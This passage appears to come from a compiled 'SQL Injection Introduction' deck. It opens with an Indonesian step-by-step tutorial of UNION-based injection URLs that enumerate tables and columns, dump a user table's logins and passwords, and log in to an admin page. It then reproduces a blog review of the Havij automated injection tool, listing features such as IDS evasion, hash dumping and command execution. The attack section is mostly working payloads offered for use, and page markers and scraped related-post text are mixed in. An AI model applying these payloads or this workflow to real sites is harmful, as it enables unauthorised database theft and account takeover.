untuk mencari nama2 tabel lainnya kita gunakan limit 1,1http://site.com/vuln.php?id=-1 union all select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables where table_schema=’bego’ limit 1,1/*http://site.com/vuln.php?id=-1 union all select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables where table_schema=’bego’ limit 2,1/*http://site.com/vuln.php?id=-1 union all select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables where table_schema=’bego’ limit 3,1/*http://site.com/vuln.php?id=-1 union all select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables where table_schema=’bego’ limit 4,1/*sampe gak ada lagi tanda yang muncul di monitor

misalkan kita mendapatkan nama tabelnya adalah tblUser

sekarang kita akan mencari nama2 kolomnya

untuk mencari nama tabelnya, angka 3 kita ganti dengan column_namehttp://site.com/vuln.php?id=-1 union all select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=’tblUser’/*didapat nama kolomnya UserName

untuk mencari nama2 kolom lainnya kita gunakan limit 1,1http://site.com/vuln.php?id=-1 union all select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=’tblUser’ limit 1,1/*http://site.com/vuln.php?id=-1 union all select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=’tblUser’ limit 2,1/*http://site.com/vuln.php?id=-1 union all select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=’tblUser’ limit 3,1/*http://site.com/vuln.php?id=-1 union all select 1,2,column_name,4,5,6,7,8,9 from information_schema.columns where table_name=’tblUser’ limit 4,1/*didapat nama kolom UserName, UserLogin, UserPass, UserMail

setelah dapat nama kolom dan tabelnya kita masukkan

http://site.com/vuln.php?id=-1 union all select 1,2,UserLogin,4,5,6,7,8,9 from tblUserhttp://site.com/vuln.php?id=-1 union all select 1,2,UserPass,4,5,6,7,8,9 from tblUserdidapat loginnya admindidapat passnya 1234

tinggal kita cari halaman adminmisalnya kita temukanhttp://site.com/admin.phptinggal kita masukkan aja loginnya:adminpasswordnya:1234

Page 23: SQL Injection Introduction

Possibly related posts: (automatically generated)

MySqloit – SQL Injection Takeover tool MySQL – SQL Injection   Prevention

tion Security Related information!

Havij: A Advanced SQL Injection Tool!May 29, 2010 23:23 pm

by Black

in Penetration Testing,Web Application Penetration Testing,Windows

http://pentestit.com/2010/05/29/havij-advanced-sql-injection-tool/

We are really liking this tool. For with this tool, you can almost go back to your “point and shoot” days! Havij is a free tool, programmed in Visual Basic that will automate SLQ injections for you! Infact, just to test it out, we tried this on an installation of DVWA and it got us what we wanted!

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page. All you need to know is a bit of SQL injection and you are done. You just need to click a button and wait till it finds a exploitable SQL query. Not only that, you can also fingerprint the back-end database, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements and even accessing the underlying file system and executing commands on the operating system. Ofcourse most of that is after you have a successful exploit. Not only that, it supports a wide array of databases – MsSQL, MySQL, MSAccess and Oracle! You could also choose to evade IDS detection by simple pre-configured tricks of this tool. You can also try to brute force your way to find the admin directory and yes it does support proxies too!

This is how Havij looks:

Page 24: SQL Injection Introduction

These are the current functions that Havij supports as of now:

Supported Databases with injection methods:a. MsSQL 2000/2005 with errorb. MsSQL 2000/2005 no error (union based)c. MySQL (union based)d. MySQL Blinde. MySQL error basedf. Oracle (union based)g. MsAccess (union based)

Automatic database detection Automatic type detection (string or integer) Automatic keyword detection (finding difference between the positive and

negative response) Trying different injection syntaxes Proxy support Real time result Options for replacing space by /**/,+,… against IDS or filters Avoid using strings (magic_quotes similar filters bypass) Bypassing illegal union Full customizable http headers (like referer and user agent) Load cookie from site for authentication Guessing tables and columns in mysql<5 (also in blind) and MsAccess Fast getting tables and columns for mysql Multi thread Admin page finder

Page 25: SQL Injection Introduction

Multi thread Online MD5 cracker Getting DBMS Informations Getting tables, columns and data Command executation (mssql only) Reading system files (mysql only) Insert/update/delete data

As we have already said previously that this is a tool in Visual Basic, this will run only on Windows. Installation is pretty much simple too. We noticed something peculiar about this tool. It installs – columns.txt, admins.txt and tables.txt. Call them teh databases of Havij. You are free to add your stuff to these files. Just take care where you add those things.